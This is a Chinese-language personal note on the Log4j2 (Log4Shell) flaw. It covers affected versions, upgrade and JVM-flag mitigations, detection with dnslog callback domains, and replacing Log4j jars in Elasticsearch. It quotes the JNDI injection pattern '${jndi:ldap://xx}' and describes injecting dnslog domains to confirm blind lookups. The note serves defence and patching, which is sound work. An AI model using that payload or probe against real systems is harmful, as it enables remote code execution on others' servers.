log4j2漏洞

log4j2 漏洞就是如果日志中含有
${jndi:ldap://xx}这样的代码,会下载远程的jar包,到本地执行,是一个非常严重的漏洞
https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/



影响的版本范围:Apache Log4j 2.x <= 2.14.1 https://www.cnblogs.com/personblog/p/14510355.html



log4j2 快速修复措施 修改log4j2版本 据 Apache 官方最新信息显示,release 页面上已经更新了 Log4j 2.15.0 版本,主要是那个log4j-core包,漏洞就是在这个包里产生的,如果你的程序有用到,尽快紧急升级。 临时解决方案 设置jvm参数 “-Dlog4j2.formatMsgNoLookups=true” 设置“log4j2.formatMsgNoLookups=True” 系统环境变量“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true” 关闭对应应用的网络外连,禁止主动外连

那么如何检测这个漏洞呢?
build-tools-internal/src/testKit/thirdPartyAudit/sample_jars/build.gradle
docs/changelog/82111.yaml build-tools-internal/version.properties
可以把dnslog生成的域名 http://www.dnslog.cn/ 作为注入域名,dnslog的原理,就是生成一个次级域名,如果有请求来解析dns会记录一条日志,我们可以通过dns解析日志来确定是否有注入的请求发出。http://admin.dnslog.link/



它是一个开源项目:https://github.com/bugscanteam/dnslog/
找到解析记录以后,我们可以通过https://ip.tool.chinaz.com/ 查询ip的来源,进一步帮忙排查。



https://www.freesion.com/article/67671308826/
DNSlog就是存储在DNS Server上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件。



   原理:我注册了一个为a.com的域名,我将他a记录泛解析到10.0.0.0上,这样就实现了无论我记录值填什么他都有解析,并且都指向10.0.0.0,当我向dns服务器发起test.a.com的解析请求时,DNSlog中会记录下他给test.a.com解析,解析值为10.0.0.0。(通俗来讲就是我们申请一个dnslog的平台,当我们盲注的时候把想要的数据和平台给的地址拼接起来,dnslog平台就会把请求的记录显示出来。)
https://www.cnblogs.com/sunny11/p/14399420.html


https://blog.csdn.net/lumingzhu111/article/details/121871114



如何确认es 是否有影响
查看es版本 ,可以得到提交id
GET /
https://www.cnblogs.com/personblog/p/14510355.html



切换到对应的分支,查看gradle文件
https://github.com/elastic/elasticsearch/blob/6.7/buildSrc/version.properties



https://github.com/elastic/elasticsearch/search?q=log4j



https://github.com/elastic/elasticsearch/pull/82111/files



log4j漏洞 es升级log4j
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.17.1/log4j-api-2.17.1.jar
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.17.1/log4j-core-2.17.1.jar
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-1.2-api/2.17.1/log4j-1.2-api-2.17.1.jar
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-slf4j-impl/2.17.1/log4j-slf4j-impl-2.17.1.jar
替换之前的jar包



临时缓解措施
使用jvm参数启动 -Dlog4j2.formatMsgNoLookups=true
设置 log4j2.formatMsgNoLookups=True
系统环境变量中将 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true



https://blog.csdn.net/MEIYOUDAO_JIUSHIDAO/article/details/121956992



https://baijiahao.baidu.com/s?id=1719993070839935642&wfr=spider&for=pc



docker 扫描
https://www.docker.com/blog/apache-log4j-2-cve-2021-44228/


Category java